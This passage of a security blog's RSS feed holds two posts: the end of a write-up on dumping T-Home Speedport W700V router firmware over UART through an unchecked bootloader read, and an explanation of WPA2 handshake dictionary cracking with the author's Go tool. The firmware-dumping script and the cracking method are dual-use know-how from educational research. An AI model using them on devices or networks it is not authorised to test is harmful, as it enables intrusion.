&lt;&#x2F;span&gt;&lt;span&gt;	(options, args) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span&gt;optparser.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;parse_args&lt;&#x2F;span&gt;&lt;span&gt;()
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;	&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6699cc;&quot;&gt;len&lt;&#x2F;span&gt;&lt;span&gt;(args) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;!= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;		optparser.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;error&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;incorrect number of arguments&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;	ser &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span&gt;serial.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;Serial&lt;&#x2F;span&gt;&lt;span&gt;(options.serial, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;115200&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fc9354;&quot;&gt;timeout&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;	&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span&gt;options.read:
&lt;&#x2F;span&gt;&lt;span&gt;		&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;memread&lt;&#x2F;span&gt;&lt;span&gt;(ser,options.read,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;int&lt;&#x2F;span&gt;&lt;span&gt;(options.addr,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;),&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;int&lt;&#x2F;span&gt;&lt;span&gt;(options.size,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;),options.verbose)
&lt;&#x2F;span&gt;&lt;span&gt;	&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;return
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span&gt;__name__ &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;== &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;__main__&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;	&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;main&lt;&#x2F;span&gt;&lt;span&gt;()
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d6d6d;&quot;&gt;# run with: python3 script.py --read dump.bin --serial &#x2F;dev&#x2F;ttyUSB0 --addr 0xB3000000 --size 0x400000
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Here, we connect to the tty (on &lt;code&gt;&#x2F;dev&#x2F;ttyUSB0&lt;&#x2F;code&gt;), enter space three times, and follow with an exclamation point.
This gets us into the administrative menu we want.
Afterward, we want to (r)ead and read as much data as the bootloader lets us.
While it reports that we can read at most 10000 bytes in a single read, I found that it does not perform a bounds check.
Therefore, we try to read the entire 4 MiB of memory in one go (&lt;code&gt;0x400000&lt;&#x2F;code&gt;) from the start of the flash memory (&lt;code&gt;0xB3000000&lt;&#x2F;code&gt;).
We parse this output with a regular expression and write it to our &lt;code&gt;dump.bin&lt;&#x2F;code&gt; file.&lt;&#x2F;p&gt;
&lt;p&gt;After running the program, and a few minutes of time, the script finishes and we have exactly 4MBs of raw binary data.&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#191919;color:#f8f8f2;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span&gt; du dump.bin
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;4096&lt;&#x2F;span&gt;&lt;span&gt;	dump.bin
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Now what? We have a blob of binary data that consists of different memory areas.
We could carve out each block of memory via &lt;code&gt;dd&lt;&#x2F;code&gt; and the given offsets from the memory layouts.
However, we can also utilize &lt;code&gt;binwalk&lt;&#x2F;code&gt; which can identify and even extract data of a given file by looking for familiar &lt;a rel=&quot;noopener nofollow&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;List_of_file_signatures&quot;&gt;file signatures&lt;&#x2F;a&gt;.
After running it on the initial &lt;code&gt;dump.bin&lt;&#x2F;code&gt; we see that it identifies a number of LZMA compressed archives.
Of course, we want to look inside these as well, however, we do not want to extract each step manually.
Therefore, we run:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#191919;color:#f8f8f2;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span&gt; binwalk&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fc9354;&quot;&gt; -Me&lt;&#x2F;span&gt;&lt;span&gt; dump.bin
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;This runs binwalk recursively on every extracted artifact until it cannot match anything it knows anymore.
Looking through the extracted files we see that we were successful in extracting the PFS file system on the router:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#191919;color:#f8f8f2;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt; xxd &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;0.pfs &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;| &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;head
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;00000000:&lt;&#x2F;span&gt;&lt;span&gt; 5046 532f 302e 3900 0000 0000 4000 5201  PFS&#x2F;0.9.....@.R.
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;00000010:&lt;&#x2F;span&gt;&lt;span&gt; 7777 775c 6976 725c 316b 2e37 3131 0000  www&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;\i&lt;&#x2F;span&gt;&lt;span&gt;vr&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;\1&lt;&#x2F;span&gt;&lt;span&gt;k.711..
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;00000020:&lt;&#x2F;span&gt;&lt;span&gt; 0000 0000 0000 0000 0000 0000 0000 0000  ................
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;00000030:&lt;&#x2F;span&gt;&lt;span&gt; 0000 0000 0000 0000 0000 0000 0000 0000  ................
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;00000040:&lt;&#x2F;span&gt;&lt;span&gt; 0000 0000 0000 0000 0000 0000 0000 0000  ................
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;00000050:&lt;&#x2F;span&gt;&lt;span&gt; bb3c 0bac 0000 0000 6c38 0100 7777 775c  .&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;......l8..www\
&lt;&#x2F;span&gt;&lt;span&gt;00000060: 696d 6167 6573 5c70 6963 5f61 735f 6c69  images&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;\p&lt;&#x2F;span&gt;&lt;span&gt;ic_as_li
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;00000070:&lt;&#x2F;span&gt;&lt;span&gt; 6e69 652e 6769 6600 0000 0000 0000 0000  nie.gif.........
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;00000080:&lt;&#x2F;span&gt;&lt;span&gt; 0000 0000 0000 0000 0000 0000 0000 0000  ................
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;00000090:&lt;&#x2F;span&gt;&lt;span&gt; 0000 0000 0000 0000 0000 0000 1516 64ac  ..............d.
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;As binwalk also extracted the filesystem we get:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#191919;color:#f8f8f2;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span style=&quot;color:#6699cc;&quot;&gt;.
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;└──&lt;&#x2F;span&gt;&lt;span&gt; pfs-root
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;└──&lt;&#x2F;span&gt;&lt;span&gt; www
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;├──&lt;&#x2F;span&gt;&lt;span&gt; cgi-bin
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;├──&lt;&#x2F;span&gt;&lt;span&gt; cpe
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;├──&lt;&#x2F;span&gt;&lt;span&gt; doc
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;├──&lt;&#x2F;span&gt;&lt;span&gt; images
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;└──&lt;&#x2F;span&gt;&lt;span&gt; ivr
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;7&lt;&#x2F;span&gt;&lt;span&gt; directories
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Now we can look into the files on the router and search for bugs!
We could also edit the files on the system, re-compress them, and flash them onto the router!&lt;&#x2F;p&gt;
&lt;h3 id=&quot;-1&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#-1&quot; aria-label=&quot;Anchor link for: -1&quot;&gt;Bonus&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;As we only knew about the administrative interface via Googling, the question may arise of how we can gain access to the firmware via another method?
The easiest answer is downloading it from the manufacturer: &lt;a rel=&quot;noopener nofollow&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;web.archive.org&#x2F;web&#x2F;20160808004623if_&#x2F;https:&#x2F;&#x2F;www.telekom.de&#x2F;hilfe&#x2F;downloads&#x2F;fw-sp-w700v-ipone-b-3_33_000.bin&quot;&gt;Online Archive Download Link&lt;&#x2F;a&gt;.
This is the same version of the firmware as the one we extracted from the device via our UART script.
However, this is also not applicable to every target, so what is another possibility to acquire it?&lt;&#x2F;p&gt;
&lt;p&gt;Here further hardware comes into play, namely a flash programmer.
We identified the flash chip on the board and could use a tool like the CH341A programmer to extract the firmware directly from the chip.
By connecting the clamp to the flash chip we can read the contents directly from it and analyze it later on.&lt;&#x2F;p&gt;
&lt;p&gt;Lastly, when examining the acquired firmware we find the following section in one of the extracted image files:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#191919;color:#f8f8f2;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;[...]
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;000081d0:&lt;&#x2F;span&gt;&lt;span&gt; 6572 2041 646d 696e 6973 7472 6174 6f72  er Administrator
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;000081e0:&lt;&#x2F;span&gt;&lt;span&gt; 204d 6f64 6520 210a 0000 0000 0a20 2020   Mode !......
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;[...]
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;This hints towards an administrative interface in the bootloader.
However, keep in mind that finding this and identifying its meaning would take considerably more time.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;-2&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#-2&quot; aria-label=&quot;Anchor link for: -2&quot;&gt;Conclusion&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;In summary, examining hardware such as the T-Home Speedport W700V router provides insight into how our devices work at a deeper level.
By identifying debug ports and connecting via UART, we were able to access the device&amp;#39;s firmware and extract it for analysis.
Tools like &lt;code&gt;binwalk&lt;&#x2F;code&gt; helped us dissect the router&amp;#39;s file system and reveal its configuration.&lt;&#x2F;p&gt;
&lt;p&gt;This demonstrated process highlights the value of exposing hardware products to security analysis.
By thoroughly examining these devices, manufacturers can identify potential vulnerabilities early and strengthen their security posture.
So the next time you come across an old piece of hardware, take a peek inside---you never know what you might discover!&lt;&#x2F;p&gt;
</description>
      </item>
      <item>
          <title>How dangerous can a handshake be?</title>
          <pubDate>Wed, 14 Sep 2022 00:00:00 +0000</pubDate>
          <author>s3mme</author>
          <link>https://s3mme.com/posts/how-dangerous-can-a-handshake-be/</link>
          <guid>https://s3mme.com/posts/how-dangerous-can-a-handshake-be/</guid>
          <description xml:base="https://s3mme.com/posts/how-dangerous-can-a-handshake-be/">&lt;p&gt;A few weeks ago I took a mobile security class at university which also included a portion about wifi-security.&lt;br &#x2F;&gt;
Along those studies, I stumbled upon the process of performing a dictionary attack against the current consumer-grade, &quot;standard&quot;, WPA2.&lt;&#x2F;p&gt;
&lt;p&gt;I knew tools like &lt;a rel=&quot;noopener nofollow&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;rerange&#x2F;aircrack&quot;&gt;aircrack&lt;&#x2F;a&gt; existed, however, I never knew how these tools worked under the hood.
Therefore, it was clear that I want to build something similar with my newly acquired knowledge and took it upon myself to start working on this after my exam was over.&lt;&#x2F;p&gt;
&lt;p&gt;Therefore, here I want to document how I tackled this problem, and how I succeeded in creating v0.1 of &lt;a rel=&quot;noopener nofollow&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;Benzammour&#x2F;cr4gg&quot;&gt;cr4gg&lt;&#x2F;a&gt;, which performs the dictionary attack.&lt;&#x2F;p&gt;
&lt;p&gt;We start off by explaining the 4-Way Handshake the involved parties have to go through to authenticate each other.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;4-way-handshake&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#4-way-handshake&quot; aria-label=&quot;Anchor link for: 4-way-handshake&quot;&gt;4 Way Handshake&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;We assume that a &lt;em&gt;pre-shared key&lt;&#x2F;em&gt; (PSK) was exchanged between the user accessing the &lt;em&gt;Access-Point&lt;&#x2F;em&gt; (AP) and the AP itself.
In most cases this is your usual wifi password you use to access your router for the first time, however, this could also be a more complex system using &lt;a rel=&quot;noopener nofollow&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;de.wikipedia.org&#x2F;wiki&#x2F;Extensible_Authentication_Protocol&quot;&gt;EAP&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;Now, we start off by looking at the following figure to gain a high-level overview of the message-flow:&lt;&#x2F;p&gt;
&lt;figure&gt;
&lt;img src=&quot;https:&#x2F;&#x2F;upload.wikimedia.org&#x2F;wikipedia&#x2F;commons&#x2F;6&#x2F;60&#x2F;4-way-handshake_WPA2.png&quot; link=&quot;https:&#x2F;&#x2F;commons.wikimedia.org&#x2F;wiki&#x2F;File:4-way-handshake_WPA2.png#&#x2F;media&#x2F;File:4-way-handshake_WPA2.png&quot; target=&quot;_blank&quot; id=&quot;4-way-handshake-wifi&quot; &gt;
&lt;figcaption&gt;4-Way Handshake Wifi [1]&lt;&#x2F;figcaption&gt;
&lt;&#x2F;figure&gt;
&lt;p&gt;Firstly, the AP and the &lt;em&gt;Mobile Station&lt;&#x2F;em&gt; (STA) exchange Nonces, the AP sends an &lt;em&gt;Authenticator-Nonce&lt;&#x2F;em&gt; (ANonce) and the STA a &lt;em&gt;Supplicant-Nonce&lt;&#x2F;em&gt; (SNonce).
Additionally, STA generates a &lt;em&gt;pairwise-master key&lt;&#x2F;em&gt; (PMK) from the PSK, subsequently STA generates a &lt;em&gt;pairwise-transient key&lt;&#x2F;em&gt; (PTK) from it and both Nonces.
The first 16 bytes of the PTK are called the &lt;em&gt;key-confirmation key&lt;&#x2F;em&gt; (KCK) and this key is used to sign the SNonce of STA, producing the MIC that is seen in the second message.&lt;&#x2F;p&gt;
&lt;p&gt;Now, after the STA sends the SNonce, the AP is able to construct the PTK as well.
Additionally, it knows that the SNonce really comes from STA as the MIC confirms it.
In the third message, the AP confirms that both parties have the same PTK by sending it&#x27;s ANonce again but attaching an additional MIC to it.
Lastly, the STA ACKs that it received the third message.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;architecture&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#architecture&quot; aria-label=&quot;Anchor link for: architecture&quot;&gt;Architecture&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;The following figure depicts a high-level overview of the authentication architecture we use to guess the correct passphrase.&lt;&#x2F;p&gt;
&lt;figure src=&quot;.&#x2F;mic-guessing-overview.svg&quot;&gt;
&lt;img src=&quot;.&#x2F;mic-guessing-overview.svg&quot; id=&quot;mic-guessing-architecture&quot;&gt;
&lt;figcaption&gt;
Concept of guessing architecture
&lt;&#x2F;figcaption&gt;
&lt;&#x2F;figure&gt;
&lt;p&gt;As we limit ourselves to the passphrase-based authentication mechanism, we construct our PMK-guess from the passphrase and the SSID of the AP.
With the PMK, the MAC-Addresses, and the Nonces we are able to construct our guess for the PTK.
The PRF function is described in the following figure.&lt;&#x2F;p&gt;
&lt;figure&gt;
&lt;img src=&quot;.&#x2F;PRF-X.png&quot; id=&quot;prfx-pseudocode&quot;&gt;
&lt;figcaption&gt;
PRF-X Function Pseudocode [2]
&lt;&#x2F;figcaption&gt;
&lt;&#x2F;figure&gt;
&lt;p&gt;Where A and B are as depicted in &lt;a href=&quot;https:&#x2F;&#x2F;s3mme.com&#x2F;posts&#x2F;how-dangerous-can-a-handshake-be&#x2F;#mic-guessing-architecture&quot;&gt;Figure 2&lt;&#x2F;a&gt;.
There the split of the PTK can be seen conceptually, but a more detailled version is seen in &lt;a href=&quot;https:&#x2F;&#x2F;s3mme.com&#x2F;posts&#x2F;how-dangerous-can-a-handshake-be&#x2F;#prf-hierarchy&quot;&gt;Figure 4&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;figure&gt;
&lt;img src=&quot;.&#x2F;PKH.png&quot; id=&quot;prf-hierarchy&quot;&gt;
&lt;figcaption&gt;
PRF-X Hierarchy [2]
&lt;&#x2F;figcaption&gt;
&lt;&#x2F;figure&gt;
&lt;p&gt;Using the KCK as our key, we generate our integrity-code based on the packet content, and derive our &lt;em&gt;guessed MIC&lt;&#x2F;em&gt; (gMIC).
After we obtain this gMIC we are able to compare it to our &lt;em&gt;real MIC&lt;&#x2F;em&gt; (rMIC) we got from the packet capture.
If the MICs are the same, our guess of the passphrase was correct, if it is not, we choose our next passphrase and repeat the process.&lt;&#x2F;p&gt;
&lt;p&gt;If you want to take a look at the source code, check &lt;a rel=&quot;noopener nofollow&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;Benzammour&#x2F;cr4gg&quot;&gt;cr4gg out on Github!&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;ethics-disclaimer&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#ethics-disclaimer&quot; aria-label=&quot;Anchor link for: ethics-disclaimer&quot;&gt;Ethics Disclaimer&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;This project&#x27;s solely purpose is to gain more knowledge about wifi security and the language &lt;a rel=&quot;noopener nofollow&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;golang.org&quot;&gt;go&lt;&#x2F;a&gt;.
Do not use this tool to attack networks you do not have the permission to pentest on.
I also think that publishing this tool is not harmful as more sophisticated tools like &lt;a rel=&quot;noopener nofollow&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;aircrack-ng&#x2F;aircrack-ng&#x2F;&quot;&gt;aircrack&lt;&#x2F;a&gt; and &lt;a rel=&quot;noopener nofollow&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;joswr1ght&#x2F;cowpatty&#x2F;&quot;&gt;cowpatty&lt;&#x2F;a&gt; already exist.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;references&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#references&quot; aria-label=&quot;Anchor link for: references&quot;&gt;References&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;[1]: &lt;a href=&quot;https:&#x2F;&#x2F;commons.wikimedia.org&#x2F;wiki&#x2F;File:4-way-handshake_WPA2.png&quot;&gt;4-Way Handshake Wikipedia&lt;&#x2F;a&gt;&lt;br&gt;
[2]: &lt;a href=&quot;https:&#x2F;&#x2F;ieeexplore.ieee.org&#x2F;document&#x2F;1318903&quot;&gt;802.11i-2004, p. 74 ff.&lt;&#x2F;a&gt;&lt;br&gt;&lt;&#x2F;p&gt;
</description>
      </item>
    </channel>
</rss>
